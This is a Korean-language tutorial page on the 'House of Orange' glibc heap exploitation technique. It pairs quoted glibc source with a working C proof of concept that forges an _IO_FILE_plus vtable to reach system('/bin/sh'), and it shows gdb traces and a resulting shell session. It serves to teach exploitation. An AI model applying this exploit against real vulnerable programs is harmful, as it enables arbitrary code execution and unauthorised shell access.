Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.

List

Conditions

  • 해당 기술은 다음과 같은 조건에서 동작합니다.
    • 공격자에 의해 Top chunk 영역에 값을 저장 할 수 있어야 합니다.
    • 공격자에 의해 Top chunk 의 값 보다 큰 값을 생성 할 수 있어야 합니다.
      • 이로 인해 기존의 Top chunk는 Free chunk가 됩니다.
    • 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 합니다.

Exploit plan

  • 다음과 같은 방법으로 공격할 수 있습니다.
    • Add Free chunk to Unsorted bin

      • 1개의 Heap 영역을 생성합니다.
      • Top chunk 영역에 아래와 같은 조건을 만족하는 값을 덮어 씁니다.
        • Top chunk + size는 페이지 정렬이 되어야 합니다.
        • Top chunk 값에 prev_inuse 비트를 설정해야 합니다.
        • Ex) Top chunk : 0x20c01, Overwrite to value : 0xc00 + 0x1 = 0xc01
      • Top chunk 영역의 값보다 큰 크기의 Heap 영역을 생성합니다.
        • Malloc은 이 요청을 처리하기 위해 sysmalloc이 호출됩니다.
        • sysmalloc()의 _int_free() 함수에 의해 "Top chunk - 0x8" 영역이 Unsorted bin에 등록됩니다.
        • "Top chunk" 영역을 Free chunk 형태를 가집니다.
    • Write to "Fake struct _IO_FILE_plus", " Fake struct _IO_wide_data"
      • Free chunk 영역에 "Fake struct _IO_FILE_plus", "Fake struct _IO_wide_data" 구조를 작성합니다.
        • Fake "struct _IO_FILE_plus"
          • _mode = '0' 보다 큰 값
          • vtable = "Fake vtable address"

          • _wide_data = "Fake struct _IO_wide_data"가 저장된 주소 

        • Fake "struct _IO_wide_data"

          • Fake "struct _IO_FILE_plus"가 작성된 공간을 활용 할 수 있습니다.

          • _IO_flush_all_lockp() 함수에서 사용하지 않는 "fp"변수의 "_freeres_list", "_freeres_buf" 영역 다음과 같이 활용합니다.

            • fp→_wide_data 변수에 fp→_offset의 주소 값을 저장합니다.
              • fp_freeres_list = _wide_data->_IO_write_ptr
              • fp_freeres_buf = _wide_data->_IO_write_base
    • Unsorted bin attack
      • Free chunk의 bk 영역에 "&_IO_list_all - 0x16" 값을 덮어 씁니다.
      • Free chunk를 smallbin[4]에 등록하기 위해 Free chunk의 size 값을 변경합니다.
        • 사용 가능한 크기 : 90 ~ 98
      • 새로운 Heap 영역을 생성합니다.
    • House of orange(?)
        • _int_malloc() 함수에서 "_IO_list_all" 영역의 값을 "main_arena.Top" 영역 주소로 변경합니다.
        • _int_malloc() 함수에서 smallbin[4] 영역의 값이  Free chunk 의 주소로 변경합니다.
        • _int_malloc() 함수에서 메모리 손상으로 인해 _IO_flush_all_lockp() 함수를 호출합니다.
        • _IO_flush_all_lockp() 함수는 변경된  "_IO_list_all"의 값(main_arena)을 사용하게 됩니다.
        • _IO_flush_all_lockp() 함수의 "fp = fp→_chain" 코드에 의해 fp 값이 변경됩니다.

          • 변경된 fp의 값은 "Fake struct _IO_FILE_plus"의 시작 주소입니다.
        • _IO_flush_all_lockp() 함수는 변경된 fp의 값을 이용해 _IO_OVERFLOW를 호출합니다.
          • _IO_list_all->vtable->_IO_overflow_t

          • _IO_OVERFLOW : fp + 0x60(vtable) → + 0x18(_IO_overflow_t) = 호출할 함수의 주소

Explanation of vulnerability

Add Free chunk to Unsorted bin

  • 다음과 같이 sysmalloc()에서 _int_free()를 호출해 Unsorted bin에 free chunk를 등록할 수 있습니다.
    • Top chunk의 값보다 큰 크기의 Heap을 생성을 요청하면, _int_malloc() 함수는 sysmalloc()를 이용해 Heap영역을 확장합니다.
  • sysmalloc()에서 _int_free()를 호출하기 위해 아래의 조건을 만족해야 합니다.
    • Top chunk + size는 페이지 정렬이 되어야 합니다.
    • Top chunk 값에 prev_inuse 비트를 설정해야 합니다.
malloc.c
  /*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

Unsorted bin attack

해당 페이지의 내용을 참고하세요

Call _IO_flush_all_lockp()

  • glibc의 _int_malloc()에서 메모리 손상을 탐지하고 다음과 같은 순서대로 함수를 호출합니다.
    • _int_malloc() → malloc_printerr() → __libc_message → __FI_abort() → _IO_flush_all_lockp()
    • "House of Orange"는 바로 _IO_flush_all_lockp() 함수를 이용해 원하는 함수를 호출합니다.
  • 아래 코드의 조건문에 의해 malloc_printerr() 함수가 호출됩니다.
malloc.c
  for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

_IO_flush_all_lockp()

  • 해당 함수에서 중요한 부분은 다음과 같습니다.
    • line 792 : 해당 줄에서 호출되는 "_IO_OVERFLOW()" 함수의 주소 값을 변경하여 system() 함수를 호출 할 수 있습니다.

    • line 788, 789 : 해당 줄의 조건을 만족해야 "_IO_OVERFLOW()" 함수를 호출 할 수 있습니다.
    • line 806 : 해당 줄의 코드를 이용해 "fp" 변수에 Fake "_IO_FILE_plus"의 주소를 저장 할 수 있습니다.
  • 공격을 위해 "fp" 변수의 값을 변경하는 이유는 다음과 같습니다.
    • Top chunk의 변경과 Unsorted bin attack을 이용해 "_IO_list_all" 값을 변경하였으나, 변경된 값은 main_arena의 주소 입니다.

      • 즉, "fp" 변수에 저장된 값은 main_arena의 주소이며, 해당 값을 "fp = fp→_chain" 코드에 의해 Fake "_IO_FILE_plus" 주소로 변경할 수 있습니다.

    • _IO_flush_all_lockp() 함수는 "fp" 변수에 저장된 주소 값을 기준으로 호출 할 _IO_OVERFLOW() 함수의 주소를 찾습니다.
genops.c
int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp->_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}

Struct _IO_FILE_plus

  • "_IO_list_all" 변수는 "_IO_FILE_plus" 구조체를 사용합니다.

  • "_IO_FILE_plus" 구조체는 아래와 같은 구조체를 포함합니다.
    • _IO_FILE

    • _IO_jump_t

libioP.h
extern struct _IO_FILE_plus *_IO_list_all;


libioP.h
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

struct _IO_FILE

libio.h - struct _IO_FILE
struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_jump_t

  • 아래 구조체의 형태를 보면 이동할 각 함수주소 값을 저장하도록 되어 있습니다.
    • _IO_overflow_t 변수에 _IO_OVERFLOW() 함수의 주소 값을 저장하고 있습니다.

libioP.h - struct _IO_jump_t
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

struct _IO_wide_data *_wide_data

  • 아래와 같은 조건을 만족하기 위해 해당 구조체의 이해가 필요합니다.
    • 해당 구조체는 아래 코드의 _wide_data 변수에서 사용합니다.
genops.c
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
libio.h
struct _IO_wide_data *_wide_data
libio.h
/* Extra data for wide character streams.  */
struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};

Example

Files

Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);

int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;

    p1 = malloc(0x400-16);

    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    p2 = malloc(0x1000);
    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    top[1] = 0x61;
    top[24] = 1;
    top[21] = 2;
    top[22] = 3;
    top[20] = (size_t) &top[18];
    top[15] = (size_t) &winner;
    top[27] = (size_t ) &top[12];
    
    malloc(10);

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

Exploit flow

House of Orange

Debugging

  • 다음과 같이 Break point를 설정합니다.
    • 0x4005e3 : malloc() 함수 호출

    • 0x40060e : malloc() 함수 호출

    • 0x4006d9 : malloc() 함수 호출

Break points
gdb-peda$ b *0x4005e3
Breakpoint 1 at 0x4005e3
gdb-peda$ b *0x40060e
Breakpoint 2 at 0x40060e
gdb-peda$ b *0x4006d9
Breakpoint 3 at 0x4006d9
  • 다음과 같이 할당된 Heap의 크기와 Top chunk의 정보를 확인 할 수 있습니다.
    • Top chunk : 0x20c01
malloc(0x3f0)
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange


Breakpoint 1, 0x00000000004005e3 in main ()
gdb-peda$ ni
0x00000000004005e8 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ x/2gx 0x602010 - 0x10
0x602000:	0x0000000000000000	0x0000000000000401
gdb-peda$ x/2gx 0x602000 + 0x400
0x602400:	0x0000000000000000	0x0000000000020c01
gdb-peda$ 
  • 다음과 같이 Top chunk 값을 변경해 Top chunk(0x602400)영역을 unsorted bin에 등록 할 수 있습니다.
    • 다음과 같이 main_arena의 변화를 확인 할 수 있습니다.

할당 전

할당 후

top

0x602400

0x624010
unsorted bin[0]0x7ffff7dd1b780x602400
unsorted bin[1]0x7ffff7dd1b780x602400
  • 그리고 Top chunk(0x602400)영역은 free chunk가 됩니다.
Overwrite a 0xc01 on Top Chunk and malloc(0x1000)
gdb-peda$ c
Continuing.

Breakpoint 2, 0x000000000040060e in main ()
gdb-peda$ x/2gx 0x602000 + 0x400
0x602400:	0x0000000000000000	0x0000000000000c01
gdb-peda$ p main_arena.top 
$1 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ p main_arena.bins[1]
$3 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ ni

0x0000000000400613 in main ()
gdb-peda$ x/2gx 0x602000 + 0x400 
0x602400: 0x0000000000000000 0x0000000000000be1 
gdb-peda$ p main_arena.top 
$4 = (mchunkptr) 0x624010
gdb-peda$ p main_arena.bins[0]
$5 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.bins[1]
$6 = (mchunkptr) 0x602400
gdb-peda$ 
  • free chunk의 공간을 이용해 Fake "struct _IO_wide_data", "struct _IO_FILE_plus"를 작성합니다.
    • free chunk의 bk영역 값을 변경하여 _IO_list_all 의 값을 main_arena영역의 주소로 변경할 수 있습니다.
      • _IO_list_all : 0x7ffff7dd2540 <_IO_2_1_stderr_>
    • free chunk의 size 영역의 값을 smallbin[4]에 해당 하는 크기로 변경합니다.
      •  smallbin[4]이 관리하는 heap의 크기 : 90 ~ 98
  • _IO_FILE_plus() 를 분석하기 위해 아래와 같이 "_IO_flush_all_lockp+0"영역에 Break point를 설정합니다.

Write to Fake fp and Malloc(10)
gdb-peda$ c
Continuing.
Breakpoint 3, 0x00000000004006d9 in main ()
gdb-peda$ x/30gx 0x602400
0x602400:	0x0068732f6e69622f	0x0000000000000061
0x602410:	0x00007ffff7dd1b78	0x00007ffff7dd2510
0x602420:	0x0000000000000000	0x0000000000000000
0x602430:	0x0000000000000000	0x0000000000000000
0x602440:	0x0000000000000000	0x0000000000000000
0x602450:	0x0000000000000000	0x0000000000000000
0x602460:	0x0000000000000000	0x0000000000000000
0x602470:	0x0000000000000000	0x00000000004006e5
0x602480:	0x0000000000000000	0x0000000000000000
0x602490:	0x0000000000000000	0x0000000000000000
0x6024a0:	0x0000000000602490	0x0000000000000002
0x6024b0:	0x0000000000000003	0x0000000000000000
0x6024c0:	0x0000000000000001	0x0000000000000000
0x6024d0:	0x0000000000000000	0x0000000000602460
0x6024e0:	0x0000000000000000	0x0000000000000000
gdb-peda$ p _IO_list_all
$8 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
gdb-peda$ disassemble _IO_flush_all_lockp
Dump of assembler code for function _IO_flush_all_lockp:
   0x00007ffff7a89020 <+0>:	push   r15
	...
End of assembler dump.
gdb-peda$ b *0x00007ffff7a89020
Breakpoint 4 at 0x7ffff7a89020: file genops.c, line 760.
gdb-peda$ 
  • 에러가 발생하며 _int_malloc() 함수에 의해 0x602400 영역이 smallbin[4]에 등록됩니다.
    • 이로 인해 "fp→_chain" 영역의 값이 0x602400 으로 변경됩니다.

    • "fp = fp→_chain" 코드를 확인하기 위해 "*_IO_flush_all_lockp+490" 영역에 Break point를 설정합니다.

_int_free()
gdb-peda$ c
Continuing.
*** Error in `/home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1': malloc(): memory corruption: 0x00007ffff7dd2520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ffff7a847e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7ffff7a8f13e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7ffff7a91184]
/home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1[0x4006de]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff7a2d830]
/home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1[0x400509]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 436364                             /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00600000-00601000 r--p 00000000 08:01 436364                             /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00601000-00602000 rw-p 00001000 08:01 436364                             /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00602000-00645000 rw-p 00000000 00:00 0                                  [heap]
7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 
7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 
7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fd5000-7ffff7fd8000 rw-p 00000000 00:00 0 
7ffff7ff5000-7ffff7ff8000 rw-p 00000000 00:00 0 
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Breakpoint 4, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:760
760	genops.c: No such file or directory.
gdb-peda$ p _IO_list_all
$9 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ p main_arena.bins[10]
$10 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.bins[11]
$11 = (mchunkptr) 0x602400
gdb-peda$ b *_IO_flush_all_lockp+490
Breakpoint 5 at 0x7ffff7a8920a: file genops.c, line 800.
gdb-peda$ 
  • "fp = fp→_chain" 코드에 의해 smallbin[4](0x602400)에 저장된 값이 "fp"에 저장됩니다.
    • 0x7ffff7dd1b78 + 0x68 = 0x7ffff7dd1be0→0x602400
fp = fp->_chain;
gdb-peda$ c
Continuing.

Breakpoint 5, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:800
800	in genops.c
gdb-peda$ x/i _IO_flush_all_lockp+490
=> 0x7ffff7a8920a <_IO_flush_all_lockp+490>:	mov    rbx,QWORD PTR [rbx+0x68]
gdb-peda$ p fp
$14 = (struct _IO_FILE *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ i r rbx
rbx            0x7ffff7dd1b78	0x7ffff7dd1b78
gdb-peda$ ni
773	in genops.c
gdb-peda$ p fp
$15 = (struct _IO_FILE *) 0x602400
gdb-peda$ i r rbx
rbx            0x602400	0x602400
gdb-peda$ b *_IO_flush_all_lockp+356
Breakpoint 6 at 0x7ffff7a89184: file genops.c, line 786.
gdb-peda$ 
  • 다음과 같이 변경된 "fp" 값에 의해 vtable의 주소가 변경되었습니다.
    • vtable address : 0x602400 + 0xd8 = 0x6024d8 → 0x602460

    • _IO_overflow_t : 0x602460 + 0x18 = 0x602478 → 0x4006e5

_IO_OVERFLOW
gdb-peda$ c
Continuing.

Breakpoint 6, 0x7ffff7a89184 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786
786	in genops.c

gdb-peda$ x/4i 0x7ffff7a89184
=> 0x7ffff7a89184 <_IO_flush_all_lockp+356>:	mov    rax,QWORD PTR [rbx+0xd8]
   0x7ffff7a8918b <_IO_flush_all_lockp+363>:	mov    esi,0xffffffff
   0x7ffff7a89190 <_IO_flush_all_lockp+368>:	mov    rdi,rbx
   0x7ffff7a89193 <_IO_flush_all_lockp+371>:	call   QWORD PTR [rax+0x18]
gdb-peda$ i r rbx
rbx            0x602400	0x602400
gdb-peda$ x/gx 0x602400 + 0xd8
0x6024d8:	0x0000000000602460
gdb-peda$ x/s 0x602400
0x602400:	"/bin/sh"
gdb-peda$ x/gx 0x0000000000602460 + 0x18
0x602478:	0x00000000004006e5
gdb-peda$ x/i 0x4006e5
   0x4006e5 <winner>:	push   rbp
gdb-peda$ 
  • 아래와 같이 프로그램을 실행하면 "/bin/bash"가 실행되는 것을 확인 할 수있습니다.
call the _IO_OVERFLOW
gdb-peda$ c
Continuing.

Breakpoint 8, 0x00007ffff7a89193 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786
786	in genops.c
gdb-peda$ ni
[New process 48247]
process 48247 is executing new program: /bin/dash
Error in re-setting breakpoint 5: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 6: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 7: No symbol table is loaded.  Use the "file" command.
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x4005e3
Cannot insert breakpoint 2.
Cannot access memory at address 0x40060e
Cannot insert breakpoint 3.
Cannot access memory at address 0x4006d9
Cannot insert breakpoint 4.
Cannot access memory at address 0x7ffff7a89020
Cannot insert breakpoint 8.
Cannot access memory at address 0x7ffff7a89193

gdb-peda$
  • 프로그램을 실행하면 Error 가 출력되지만 Shell을 획득 할 수 있습니다.
Get shell!
lazenca0x0@ubuntu:~/Documents/Definition/heap/HouseOfOrange$ ./orange1 
*** Error in `./orange1': malloc(): memory corruption: 0x00007fa48f8c8520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fa48f57a7e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7fa48f58513e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fa48f587184]
./orange1[0x4006de]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fa48f523830]
./orange1[0x400509]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 436364                             /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00600000-00601000 r--p 00000000 08:01 436364                             /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00601000-00602000 rw-p 00001000 08:01 436364                             /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
0211d000-02160000 rw-p 00000000 00:00 0                                  [heap]
7fa488000000-7fa488021000 rw-p 00000000 00:00 0 
7fa488021000-7fa48c000000 ---p 00000000 00:00 0 
7fa48f2ed000-7fa48f303000 r-xp 00000000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa48f303000-7fa48f502000 ---p 00016000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa48f502000-7fa48f503000 rw-p 00015000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa48f503000-7fa48f6c3000 r-xp 00000000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7fa48f6c3000-7fa48f8c3000 ---p 001c0000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7fa48f8c3000-7fa48f8c7000 r--p 001c0000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7fa48f8c7000-7fa48f8c9000 rw-p 001c4000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7fa48f8c9000-7fa48f8cd000 rw-p 00000000 00:00 0 
7fa48f8cd000-7fa48f8f3000 r-xp 00000000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7fa48facf000-7fa48fad2000 rw-p 00000000 00:00 0 
7fa48faef000-7fa48faf2000 rw-p 00000000 00:00 0 
7fa48faf2000-7fa48faf3000 r--p 00025000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7fa48faf3000-7fa48faf4000 rw-p 00026000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7fa48faf4000-7fa48faf5000 rw-p 00000000 00:00 0 
7ffca3f1b000-7ffca3f3c000 rw-p 00000000 00:00 0                          [stack]
7ffca3fd1000-7ffca3fd3000 r--p 00000000 00:00 0                          [vvar]
7ffca3fd3000-7ffca3fd5000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
$ ls 
hell  orange1  orange1.c  peda-session-dash.txt  peda-session-orange1.txt  peda-session-test.txt  test
$ id
uid=1001(lazenca0x0) gid=1001(lazenca0x0) groups=1001(lazenca0x0)
$ 

Related information